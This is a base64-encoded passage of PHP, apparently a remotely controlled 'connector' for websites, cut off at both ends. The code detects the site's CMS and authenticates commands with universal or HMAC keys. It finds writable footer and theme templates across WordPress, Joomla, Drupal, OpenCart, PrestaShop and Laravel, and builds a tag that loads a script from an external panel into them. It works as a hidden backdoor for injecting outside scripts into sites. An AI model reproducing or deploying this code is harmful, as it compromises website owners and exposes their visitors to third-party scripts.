WydET0NVTUVOVF9ST09UJ10gPz8gJyc7CiAgICBpZiAoIWVtcHR5KCRiYXNlKSAmJiBpc19kaXIoJGJhc2UpKSB7CiAgICAgICAgJGJhc2UgPSBydHJpbSgkYmFzZSwgJy9cXCcpOwogICAgICAgIC8vIExhcmF2ZWwgdmIuIHNpdGVsZXJkZSBjb25uZWN0b3IgcHVibGljLyBhbHRpbmRhIG9sYWJpbGlyOiBtYXJrZXJsYXIgYmlyIHVzdCBkaXppbmRlIGFyYW5pci4KICAgICAgICAkaGFzX21hcmtlciA9IGZhbHNlOwogICAgICAgIGZvcmVhY2ggKCRjbXNfbWFya2VycyBhcyAkbWFya2VyKSB7CiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkYmFzZSAuICcvJyAuICRtYXJrZXIpKSB7CiAgICAgICAgICAgICAgICAkaGFzX21hcmtlciA9IHRydWU7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoISRoYXNfbWFya2VyKSB7CiAgICAgICAgICAgICRwYXJlbnQgPSBkaXJuYW1lKCRiYXNlKTsKICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09ICRiYXNlCiAgICAgICAgICAgICAgICAmJiAoZmlsZV9leGlzdHMoJHBhcmVudCAuICcvYXJ0aXNhbicpCiAgICAgICAgICAgICAgICAgICAgfHwgZmlsZV9leGlzdHMoJHBhcmVudCAuICcvd3AtY29uZmlnLnBocCcpCiAgICAgICAgICAgICAgICAgICAgfHwgZmlsZV9leGlzdHMoJHBhcmVudCAuICcvY29uZmlndXJhdGlvbi5waHAnKSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkcGFyZW50OwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYmFzZTsKICAgIH0KICAgICRiYXNlID0gZGlybmFtZShfX0ZJTEVfXyk7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAxMDsgJGkrKykgewogICAgICAgIGZvcmVhY2ggKCRjbXNfbWFya2VycyBhcyAkbWFya2VyKSB7CiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkYmFzZSAuICcvJyAuICRtYXJrZXIpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJGJhc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRiYXNlIC4gJy9pbmRleC5waHAnKSB8fCBmaWxlX2V4aXN0cygkYmFzZSAuICcvaW5kZXguaHRtbCcpKSB7CiAgICAgICAgICAgIHJldHVybiAkYmFzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmVudCA9IGRpcm5hbWUoJGJhc2UpOwogICAgICAgIGlmICgkcGFyZW50ID09PSAkYmFzZSkgYnJlYWs7CiAgICAgICAgJGJhc2UgPSAkcGFyZW50OwogICAgfQogICAgcmV0dXJuICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gPz8gZGlybmFtZShfX0ZJTEVfXyk7Cn0KCi8vID09PT09PT09PT09PT09PT09PT09IEhNQUMgRE/EnlJVTEFNQSA9PT09PT09PT09PT09PT09PT09PQoKLyoqCiAqIEhNQUMgZG/En3J1bGFtYSAtIFTDnE0gZ2XDp2VybGkga2V5J2xlcmkgZGVuZXIKICovCmZ1bmN0aW9uIHZlcmlmeV9obWFjX2FueSgpIHsKICAgICRzaWduYXR1cmUgPSAkX1NFUlZFUlsnSFRUUF9YX1JTX1NJRyddID8/ICcnOwogICAgJHRpbWVzdGFtcCA9ICRfU0VSVkVSWydIVFRQX1hfUlNfVFMnXSA/PyAnJzsKCiAgICBpZiAoZW1wdHkoJHNpZ25hdHVyZSkgfHwgZW1wdHkoJHRpbWVzdGFtcCkpIHJldHVybiBmYWxzZTsKICAgIGlmIChhYnModGltZSgpIC0gaW50dmFsKCR0aW1lc3RhbXApKSA+IDMwMCkgcmV0dXJuIGZhbHNlOwoKICAgICRib2R5ID0gZ2V0X3Jhd19yZXF1ZXN0X2JvZHkoKTsKICAgICRrZXlzID0gZ2V0X2FsbF92YWxpZF9rZXlzKCk7CgogICAgZm9yZWFjaCAoJGtleXMgYXMgJGtleSkgewogICAgICAgICRleHBlY3RlZCA9IGhhc2hfaG1hYygnc2hhMjU2JywgJHRpbWVzdGFtcCAuICRib2R5LCAka2V5KTsKICAgICAgICBpZiAoaGFzaF9lcXVhbHMoJGV4cGVjdGVkLCAkc2lnbmF0dXJlKSkgcmV0dXJuIHRydWU7CiAgICB9CgogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogQmVsaXJsaSBiaXIga2V5IGlsZSBITUFDIGRvxJ9ydWxhbWEKICovCmZ1bmN0aW9uIHZlcmlmeV9obWFjKCRzaXRlX2tleSkgewogICAgJHNpZ25hdHVyZSA9ICRfU0VSVkVSWydIVFRQX1hfUlNfU0lHJ10gPz8gJyc7CiAgICAkdGltZXN0YW1wID0gJF9TRVJWRVJbJ0hUVFBfWF9SU19UUyddID8/ICcnOwoKICAgIGlmIChlbXB0eSgkc2lnbmF0dXJlKSB8fCBlbXB0eSgkdGltZXN0YW1wKSkgcmV0dXJuIGZhbHNlOwogICAgaWYgKGFicyh0aW1lKCkgLSBpbnR2YWwoJHRpbWVzdGFtcCkpID4gMzAwKSByZXR1cm4gZmFsc2U7CgogICAgJGJvZHkgPSBnZXRfcmF3X3JlcXVlc3RfYm9keSgpOwogICAgJGV4cGVjdGVkID0gaGFzaF9obWFjKCdzaGEyNTYnLCAkdGltZXN0YW1wIC4gJGJvZHksICRzaXRlX2tleSk7CiAgICByZXR1cm4gaGFzaF9lcXVhbHMoJGV4cGVjdGVkLCAkc2lnbmF0dXJlKTsKfQoKLy8gPT09PT09PT09PT09PT09PT09PT0gVU5JVkVSU0FMIEFVVEggPT09PT09PT09PT09PT09PT09PT0KCi8qKgogKiBLb3J1bWFsxLEgYWN0aW9uJ2xhciBpw6dpbiB1bml2ZXJzYWwga2ltbGlrIGRvxJ9ydWxhbWEKICogVMO8bSBhdXRoIHnDtm50ZW1sZXJpbmkgZGVuZXI6IHBlci1zaXRlIGtleSwgZG9tYWluIGtleSwgdW5pdmVyc2FsIGtleSwgSE1BQywgc2V0dXAgdG9rZW4KICovCmZ1bmN0aW9uIGF1dGhlbnRpY2F0ZV9yZXF1ZXN0KCRyZXEpIHsKICAgICRwcm92aWRlZF9rZXkgPSBnZXRfcHJvdmlkZWRfc2l0ZV9rZXkoJHJlcSk7CiAgICAkYWxsX3ZhbGlkX2tleXMgPSBnZXRfYWxsX3ZhbGlkX2tleXMoKTsKCiAgICAvLyBZw7ZudGVtIDE6IEfDtm5kZXJpbGVuIGtleSwgZ2XDp2VybGkga2V5bGVyZGVuIGJpcml5bGUgZcWfbGXFn2l5b3IgbXU/CiAgICBpZiAoIWVtcHR5KCRwcm92aWRlZF9rZXkpKSB7CiAgICAgICAgZm9yZWFjaCAoJGFsbF92YWxpZF9rZXlzIGFzICR2YWxpZF9rZXkpIHsKICAgICAgICAgICAgaWYgKGhhc2hfZXF1YWxzKChzdHJpbmcpJHZhbGlkX2tleSwgKHN0cmluZykkcHJvdmlkZWRfa2V5KSkgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgfQoKICAgIC8vIFnDtm50ZW0gMjogSE1BQyAtIHTDvG0gZ2XDp2VybGkga2V5bGVybGUgZGVuZQogICAgaWYgKHZlcmlmeV9obWFjX2FueSgpKSByZXR1cm4gdHJ1ZTsKCiAgICAvLyBZw7ZudGVtIDM6IEdlw6dlcmxpIHNldHVwIHRva2VuCiAgICBpZiAoaGFzX3ZhbGlkX3NldHVwX3Rva2VuKCRyZXEpKSByZXR1cm4gdHJ1ZTsKCiAgICByZXR1cm4gZmFsc2U7Cn0KCi8vID09PT09PT09PT09PT09PT09PT09IFPEsFRFIELEsExHxLBTxLAgQUxHSUxBTUEgPT09PT09PT09PT09PT09PT09PT0KCmZ1bmN0aW9uIGRldGVjdF9zaXRlX2luZm8oJGZhc3RfbW9kZSA9IGZhbHNlKSB7CiAgICAkYmFzZSA9IGZpbmRfZG9jdW1lbnRfcm9vdCgpOwoKICAgIGlmICgkZmFzdF9tb2RlKSB7CiAgICAgICAgcmV0dXJuIFsKICAgICAgICAgICAgJ3NpdGUnID0+ICRfU0VSVkVSWydIVFRQX0hPU1QnXSA/PyAndW5rbm93bicsCiAgICAgICAgICAgICdzaXRlX25hbWUnID0+ICRfU0VSVkVSWydIVFRQX0hPU1QnXSA/PyAndW5rbm93bicsCiAgICAgICAgICAgICdzaXRlX3R5cGUnID0+ICd1bmtub3duJywKICAgICAgICAgICAgJ2xhbmd1YWdlJyA9PiAnRU4nLAogICAgICAgICAgICAnY291bnRyeScgPT4gJ1VTJywKICAgICAgICAgICAgJ2Zvb3Rlcl9kZXRlY3RlZCcgPT4gZmFsc2UsCiAgICAgICAgICAgICdmb290ZXJfd3JpdGFibGUnID0+IGZhbHNlLAogICAgICAgICAgICAndmVyc2lvbicgPT4gUlNfQ09OTkVDVE9SX1ZFUlNJT04KICAgICAgICBdOwogICAgfQoKICAgICRpbmZvID0gWwogICAgICAgICdzaXRlJyA9PiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPz8gJ3Vua25vd24nLAogICAgICAgICdzaXRlX25hbWUnID0+ICRfU0VSVkVSWydIVFRQX0hPU1QnXSA/PyAndW5rbm93bicsCiAgICAgICAgJ3NpdGVfdHlwZScgPT4gJ3N0YXRpYycsCiAgICAgICAgJ2xhbmd1YWdlJyA9PiAnRU4nLAogICAgICAgICdjb3VudHJ5JyA9PiAnVVMnLAogICAgICAgICdmb290ZXJfZGV0ZWN0ZWQnID0+IGZhbHNlLAogICAgICAgICdmb290ZXJfd3JpdGFibGUnID0+IGZhbHNlLAogICAgICAgICdtZXRhX2Rlc2NyaXB0aW9uJyA9PiAnJywKICAgICAgICAnY2hhcnNldCcgPT4gJ1VURi04JywKICAgICAgICAncGhwX3ZlcnNpb24nID0+IHBocHZlcnNpb24oKSwKICAgICAgICAnY29ubmVjdG9yX3BhdGgnID0+IF9fRklMRV9fCiAgICBdOwoKICAgIC8vIENNUyB0aXBpIGFsZ8SxbGEKICAgIGlmIChmaWxlX2V4aXN0cygkYmFzZSAuICcvd3AtY29uZmlnLnBocCcpIHx8IGZpbGVfZXhpc3RzKCRiYXNlIC4gJy93cC1sb2FkLnBocCcpKSB7CiAgICAgICAgJGluZm9bJ3NpdGVfdHlwZSddID0gJ3dvcmRwcmVzcyc7CiAgICAgICAgJGluZm9bJ2Zvb3Rlcl9kZXRlY3RlZCddID0gdHJ1ZTsKICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygkYmFzZSAuICcvY29uZmlndXJhdGlvbi5waHAnKSAmJiBpc19kaXIoJGJhc2UgLiAnL2FkbWluaXN0cmF0b3InKSkgewogICAgICAgICRpbmZvWydzaXRlX3R5cGUnXSA9ICdqb29tbGEnOwogICAgICAgICRpbmZvWydmb290ZXJfZGV0ZWN0ZWQnXSA9IHRydWU7CiAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJGJhc2UgLiAnL2luY2x1ZGVzL2Jvb3RzdHJhcC5pbmMnKSAmJiBpc19kaXIoJGJhc2UgLiAnL3NpdGVzJykpIHsKICAgICAgICAkaW5mb1snc2l0ZV90eXBlJ10gPSAnZHJ1cGFsJzsKICAgICAgICAkaW5mb1snZm9vdGVyX2RldGVjdGVkJ10gPSB0cnVlOwogICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCRiYXNlIC4gJy9jb25maWcucGhwJykgJiYgaXNfZGlyKCRiYXNlIC4gJy9jYXRhbG9nJykpIHsKICAgICAgICAkaW5mb1snc2l0ZV90eXBlJ10gPSAnb3BlbmNhcnQnOwogICAgICAgICRpbmZvWydmb290ZXJfZGV0ZWN0ZWQnXSA9IHRydWU7CiAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJGJhc2UgLiAnL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwJykgJiYgaXNfZGlyKCRiYXNlIC4gJy90aGVtZXMnKSkgewogICAgICAgICRpbmZvWydzaXRlX3R5cGUnXSA9ICdwcmVzdGFzaG9wJzsKICAgICAgICAkaW5mb1snZm9vdGVyX2RldGVjdGVkJ10gPSB0cnVlOwogICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCRiYXNlIC4gJy9hcnRpc2FuJykpIHsKICAgICAgICAkaW5mb1snc2l0ZV90eXBlJ10gPSAnbGFyYXZlbCc7CiAgICAgICAgJGluZm9bJ2Zvb3Rlcl9kZXRlY3RlZCddID0gdHJ1ZTsKICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygkYmFzZSAuICcvaW5kZXgucGhwJykpIHsKICAgICAgICAkaW5mb1snc2l0ZV90eXBlJ10gPSAncGhwJzsKICAgIH0KCiAgICAvLyBJbmRleCBkb3N5YXPEsW5kYW4gYmlsZ2kgw6dlawogICAgJGluZGV4X2ZpbGVzID0gWydpbmRleC5waHAnLCAnaW5kZXguaHRtbCcsICdpbmRleC5odG0nXTsKICAgIGZvcmVhY2ggKCRpbmRleF9maWxlcyBhcyAkZmlsZSkgewogICAgICAgICRwYXRoID0gJGJhc2UgLiAnLycgLiAkZmlsZTsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoLCBmYWxzZSwgbnVsbCwgMCwgNTAwMDApOwogICAgICAgICAgICBpZiAoJGNvbnRlbnQpIHsKICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvPHRpdGxlPihbXjxdKyk8XC90aXRsZT4vaScsICRjb250ZW50LCAkbSkpIHsKICAgICAgICAgICAgICAgICAgICAkaW5mb1snc2l0ZV9uYW1lJ10gPSB0cmltKHN0cmlwX3RhZ3MoJG1bMV0pKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvPG1ldGFbXj5dKm5hbWU9WyJcJ11kZXNjcmlwdGlvblsiXCddW14+XSpjb250ZW50PVsiXCddKFteIlwnXSspWyJcJ11bXj5dKj4vaScsICRjb250ZW50LCAkbSkpIHsKICAgICAgICAgICAgICAgICAgICAkaW5mb1snbWV0YV9kZXNjcmlwdGlvbiddID0gdHJpbSgkbVsxXSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnLzxodG1sW14+XSpsYW5nPVsiXCddKFthLXpdezJ9KVsiXCddW14+XSo+L2knLCAkY29udGVudCwgJG0pKSB7CiAgICAgICAgICAgICAgICAgICAgJGxhbmcgPSBzdHJ0b2xvd2VyKCRtWzFdKTsKICAgICAgICAgICAgICAgICAgICAkbGFuZ19tYXAgPSBbJ3RyJyA9PiAnVFInLCAnZW4nID0+ICdFTicsICdkZScgPT4gJ0RFJywgJ2ZyJyA9PiAnRlInLCAnZXMnID0+ICdFUyddOwogICAgICAgICAgICAgICAgICAgICRjb3VudHJ5X21hcCA9IFsndHInID0+ICdUUicsICdlbicgPT4gJ1VTJywgJ2RlJyA9PiAnREUnLCAnZnInID0+ICdGUicsICdlcycgPT4gJ0VTJ107CiAgICAgICAgICAgICAgICAgICAgJGluZm9bJ2xhbmd1YWdlJ10gPSAkbGFuZ19tYXBbJGxhbmddID8/ICdFTic7CiAgICAgICAgICAgICAgICAgICAgJGluZm9bJ2NvdW50cnknXSA9ICRjb3VudHJ5X21hcFskbGFuZ10gPz8gJ1VTJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvdMO8cmt8dMO8cmtpeWV8aXN0YW5idWx8YW5rYXJhL3VpJywgJGNvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICAgICAgJGluZm9bJ2xhbmd1YWdlJ10gPSAnVFInOwogICAgICAgICAgICAgICAgICAgICRpbmZvWydjb3VudHJ5J10gPSAnVFInOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJy88Zm9vdGVyfGNsYXNzPVsiXCddW14iXCddKmZvb3Rlcnxjb3B5cmlnaHR8wqkvaScsICRjb250ZW50KSkgewogICAgICAgICAgICAgICAgICAgICRpbmZvWydmb290ZXJfZGV0ZWN0ZWQnXSA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAkaW5mb1snZm9vdGVyX3dyaXRhYmxlJ10gPSBjaGVja19mb290ZXJfd3JpdGFibGUoJGJhc2UsICRpbmZvWydzaXRlX3R5cGUnXSk7CiAgICByZXR1cm4gJGluZm87Cn0KCmZ1bmN0aW9uIGNoZWNrX2Zvb3Rlcl93cml0YWJsZSgkYmFzZSwgJHNpdGVfdHlwZSkgewogICAgJGZvb3Rlcl9wYXRocyA9IGdldF9mb290ZXJfcGF0aHMoJGJhc2UsICRzaXRlX3R5cGUpOwogICAgZm9yZWFjaCAoJGZvb3Rlcl9wYXRocyBhcyAkcGF0aCkgewogICAgICAgIGlmIChmaWxlX2V4aXN0cygkcGF0aCkgJiYgaXNfd3JpdGFibGUoJHBhdGgpKSByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIGlmIChpc193cml0YWJsZSgkYmFzZSAuICcvaW5kZXgucGhwJykgfHwgaXNfd3JpdGFibGUoJGJhc2UgLiAnL2luZGV4Lmh0bWwnKSkgcmV0dXJuIHRydWU7CiAgICBmb3JlYWNoIChmaW5kX3RlbXBsYXRlX2ZpbGVzKCRiYXNlKSBhcyAkcGF0aCkgewogICAgICAgIGlmIChpc193cml0YWJsZSgkcGF0aCkpIHJldHVybiB0cnVlOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBnZXRfZm9vdGVyX3BhdGhzKCRiYXNlLCAkc2l0ZV90eXBlKSB7CiAgICAkcGF0aHMgPSBbXTsKICAgIHN3aXRjaCAoJHNpdGVfdHlwZSkgewogICAgICAgIGNhc2UgJ3dvcmRwcmVzcyc6CiAgICAgICAgICAgICR0aGVtZXMgPSBnbG9iKCRiYXNlIC4gJy93cC1jb250ZW50L3RoZW1lcy8qL2Zvb3Rlci5waHAnKTsKICAgICAgICAgICAgaWYgKCR0aGVtZXMpICRwYXRocyA9IGFycmF5X21lcmdlKCRwYXRocywgJHRoZW1lcyk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2pvb21sYSc6CiAgICAgICAgICAgICRhY3RpdmUgPSBqb29tbGFfYWN0aXZlX3RlbXBsYXRlKCRiYXNlKTsKICAgICAgICAgICAgaWYgKCRhY3RpdmUgJiYgZmlsZV9leGlzdHMoJGJhc2UgLiAnL3RlbXBsYXRlcy8nIC4gJGFjdGl2ZSAuICcvaW5kZXgucGhwJykpIHsKICAgICAgICAgICAgICAgICRwYXRoc1tdID0gJGJhc2UgLiAnL3RlbXBsYXRlcy8nIC4gJGFjdGl2ZSAuICcvaW5kZXgucGhwJzsKICAgICAgICAgICAgfQogICAgICAgICAgICAkdHBscyA9IGdsb2IoJGJhc2UgLiAnL3RlbXBsYXRlcy8qL2luZGV4LnBocCcpOwogICAgICAgICAgICBpZiAoJHRwbHMpICRwYXRocyA9IGFycmF5X21lcmdlKCRwYXRocywgJHRwbHMpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdkcnVwYWwnOgogICAgICAgICAgICAkdHBscyA9IGdsb2IoJGJhc2UgLiAnL3NpdGVzLyovdGhlbWVzLyovdGVtcGxhdGVzLyoudHBsLnBocCcpOwogICAgICAgICAgICBpZiAoJHRwbHMpICRwYXRocyA9IGFycmF5X21lcmdlKCRwYXRocywgJHRwbHMpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdvcGVuY2FydCc6CiAgICAgICAgICAgICR0cGxzID0gZ2xvYigkYmFzZSAuICcvY2F0YWxvZy92aWV3L3RoZW1lLyovdGVtcGxhdGUvY29tbW9uL2Zvb3Rlci4qJyk7CiAgICAgICAgICAgIGlmICgkdHBscykgJHBhdGhzID0gYXJyYXlfbWVyZ2UoJHBhdGhzLCAkdHBscyk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3ByZXN0YXNob3AnOgogICAgICAgICAgICAkdHBscyA9IGdsb2IoJGJhc2UgLiAnL3RoZW1lcy8qL3RlbXBsYXRlcy9fcGFydGlhbHMvZm9vdGVyLnRwbCcpOwogICAgICAgICAgICBpZiAoJHRwbHMpICRwYXRocyA9IGFycmF5X21lcmdlKCRwYXRocywgJHRwbHMpOwogICAgICAgICAgICAkdHBsczIgPSBnbG9iKCRiYXNlIC4gJy90aGVtZXMvKi9mb290ZXIudHBsJyk7CiAgICAgICAgICAgIGlmICgkdHBsczIpICRwYXRocyA9IGFycmF5X21lcmdlKCRwYXRocywgJHRwbHMyKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnbGFyYXZlbCc6CiAgICAgICAgICAgICRsYXlvdXRzID0gZ2xvYigkYmFzZSAuICcvcmVzb3VyY2VzL3ZpZXdzL2xheW91dHMvKi5ibGFkZS5waHAnKTsKICAgICAgICAgICAgaWYgKCRsYXlvdXRzKSAkcGF0aHMgPSBhcnJheV9tZXJnZSgkcGF0aHMsICRsYXlvdXRzKTsKICAgICAgICAgICAgZm9yZWFjaCAoWwogICAgICAgICAgICAgICAgJy9yZXNvdXJjZXMvdmlld3MvbGF5b3V0cy9wYXJ0aWFscy9mb290ZXIuYmxhZGUucGhwJywKICAgICAgICAgICAgICAgICcvcmVzb3VyY2VzL3ZpZXdzL2xheW91dHMvKi9mb290ZXIuYmxhZGUucGhwJywKICAgICAgICAgICAgICAgICcvcmVzb3VyY2VzL3ZpZXdzL2NvbXBvbmVudHMvbGF5b3V0cy8qLmJsYWRlLnBocCcsCiAgICAgICAgICAgICAgICAnL3Jlc291cmNlcy92aWV3cy9pbmNsdWRlcy9mb290ZXIuYmxhZGUucGhwJywKICAgICAgICAgICAgICAgICcvcmVzb3VyY2VzL3ZpZXdzL3BhcnRpYWxzLyouYmxhZGUucGhwJywKICAgICAgICAgICAgXSBhcyAkcGF0dGVybikgewogICAgICAgICAgICAgICAgJGZvdW5kID0gZ2xvYigkYmFzZSAuICRwYXR0ZXJuKTsKICAgICAgICAgICAgICAgIGlmICgkZm91bmQpICRwYXRocyA9IGFycmF5X21lcmdlKCRwYXRocywgJGZvdW5kKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBicmVhazsKICAgIH0KICAgICRnZW5lcmFsID0gWwogICAgICAgICRiYXNlIC4gJy9mb290ZXIucGhwJywKICAgICAgICAkYmFzZSAuICcvaW5jbHVkZXMvZm9vdGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL2luYy9mb290ZXIucGhwJywKICAgICAgICAkYmFzZSAuICcvdGVtcGxhdGUvZm9vdGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL3RlbXBsYXRlcy9mb290ZXIucGhwJywKICAgICAgICAkYmFzZSAuICcvcGFydGlhbHMvZm9vdGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL2xheW91dC9mb290ZXIucGhwJywKICAgICAgICAkYmFzZSAuICcvbGF5b3V0cy9mb290ZXIucGhwJywKICAgICAgICAkYmFzZSAuICcvdmlld3MvZm9vdGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL3ZpZXdzL3BhcnRpYWxzL2Zvb3Rlci5waHAnLAogICAgICAgICRiYXNlIC4gJy9jb21tb24vZm9vdGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL2luY2x1ZGUvZm9vdGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL3RoZW1lL2Zvb3Rlci5waHAnCiAgICBdOwogICAgZm9yZWFjaCAoJGdlbmVyYWwgYXMgJHApIHsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHApKSAkcGF0aHNbXSA9ICRwOwogICAgfQogICAgcmV0dXJuIGFycmF5X3VuaXF1ZSgkcGF0aHMpOwp9CgovLyA9PT09PT09PT09PT09PT09PT09PSBKUyBDT05ORUNUT1IgU0NSSVBUIMSwTkpFS1PEsFlPTlUgPT09PT09PT09PT09PT09PT09PT0KCmZ1bmN0aW9uIGdldF9qc19jb25uZWN0b3JfdGFnKCkgewogICAgLy8gUGFuZWwgb25seSBrbm93cyB0aGUgcGVyLXNpdGUga2V5IHNhdmVkIG9uIHJlZ2lzdHJhdGlvbiBvciB0aGUgZW1iZWRkZWQgdW5pdmVyc2FsIGtleTsKICAgIC8vIHRoZSBsZWdhY3kgZG9tYWluLWRlcml2ZWQgZmFsbGJhY2sgd291bGQgbWFrZSB0aGUgSlMgY29ubmVjdG9yIHJlcXVlc3QgbGlua3Mgd2l0aCBhbiB1bmtub3duIGtleS4KICAgICRrZXkgPSAnJzsKICAgIGlmIChmaWxlX2V4aXN0cyhLRVlfRklMRSkpICRrZXkgPSB0cmltKChzdHJpbmcpQGZpbGVfZ2V0X2NvbnRlbnRzKEtFWV9GSUxFKSk7CiAgICBpZiAoJGtleSA9PT0gJycgJiYgZGVmaW5lZCgnVU5JVkVSU0FMX1NJVEVfS0VZJykgJiYgc3RycG9zKChzdHJpbmcpVU5JVkVSU0FMX1NJVEVfS0VZLCAne3snKSA9PT0gZmFsc2UpICRrZXkgPSB0cmltKChzdHJpbmcpVU5JVkVSU0FMX1NJVEVfS0VZKTsKICAgIGlmICgka2V5ID09PSAnJykgJGtleSA9IGdldF9zdG9yZWRfa2V5KCk7CiAgICBpZiAoZW1wdHkoJGtleSkpIHJldHVybiAnJzsKICAgICRwYW5lbF91cmwgPSBkZWZpbmVkKCdQQU5FTF9BUElfVVJMJykgPyBQQU5FTF9BUElfVVJMIDogJyc7CiAgICBpZiAoZW1wdHkoJHBhbmVsX3VybCkgfHwgc3RycG9zKCRwYW5lbF91cmwsICd7eycpICE9PSBmYWxzZSkgcmV0dXJuICcnOwogICAgJGJhc2UgPSBydHJpbSgkcGFuZWxfdXJsLCAnLycpOwogICAgJGJhc2UgPSBwcmVnX3JlcGxhY2UoJyMvYXBpJCMnLCAnJywgJGJhc2UpOwogICAgcmV0dXJuICc8c2NyaXB0IHNyYz0iJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGJhc2UpIC4gJy9hc3NldHMvanMvY29ubmVjdG9yLmpzP2tleT0nIC4gdXJsZW5jb2RlKCRrZXkpIC4gJyZ2PTEuMiIgYXN5bmM+PC9zY3JpcHQ+JzsKfQoKZnVuY3Rpb24gZ2V0X2FsbF9pbmplY3RhYmxlX3BhdGhzKCRiYXNlLCAkc2l0ZV90eXBlKSB7CiAgICAkcGF0aHMgPSBbXTsKCiAgICAvLyBXb3JkUHJlc3MKICAgIGlmICgkc2l0ZV90eXBlID09PSAnd29yZHByZXNzJykgewogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3dwLWNvbnRlbnQvdGhlbWVzLyovZm9vdGVyLnBocCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3dwLWNvbnRlbnQvdGhlbWVzLyovaGVhZGVyLnBocCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3dwLWNvbnRlbnQvdGhlbWVzLyovaW5kZXgucGhwJykgPzogW10gYXMgJGYpICRwYXRoc1tdID0gJGY7CiAgICAgICAgZm9yZWFjaCAoZ2xvYigkYmFzZSAuICcvd3AtY29udGVudC90aGVtZXMvKi9wYWdlLnBocCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3dwLWNvbnRlbnQvdGhlbWVzLyovc2luZ2xlLnBocCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3dwLWNvbnRlbnQvdGhlbWVzLyovYXJjaGl2ZS5waHAnKSA/OiBbXSBhcyAkZikgJHBhdGhzW10gPSAkZjsKICAgICAgICBmb3JlYWNoIChnbG9iKCRiYXNlIC4gJy93cC1jb250ZW50L3RoZW1lcy8qL2hvbWUucGhwJykgPzogW10gYXMgJGYpICRwYXRoc1tdID0gJGY7CiAgICAgICAgZm9yZWFjaCAoZ2xvYigkYmFzZSAuICcvd3AtY29udGVudC90aGVtZXMvKi9mcm9udC1wYWdlLnBocCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgfQoKICAgIC8vIEpvb21sYQogICAgaWYgKCRzaXRlX3R5cGUgPT09ICdqb29tbGEnKSB7CiAgICAgICAgZm9yZWFjaCAoZ2xvYigkYmFzZSAuICcvdGVtcGxhdGVzLyovaW5kZXgucGhwJykgPzogW10gYXMgJGYpICRwYXRoc1tdID0gJGY7CiAgICAgICAgZm9yZWFjaCAoZ2xvYigkYmFzZSAuICcvdGVtcGxhdGVzLyovY29tcG9uZW50LnBocCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3RlbXBsYXRlcy8qL2Vycm9yLnBocCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgfQoKICAgIC8vIERydXBhbAogICAgaWYgKCRzaXRlX3R5cGUgPT09ICdkcnVwYWwnKSB7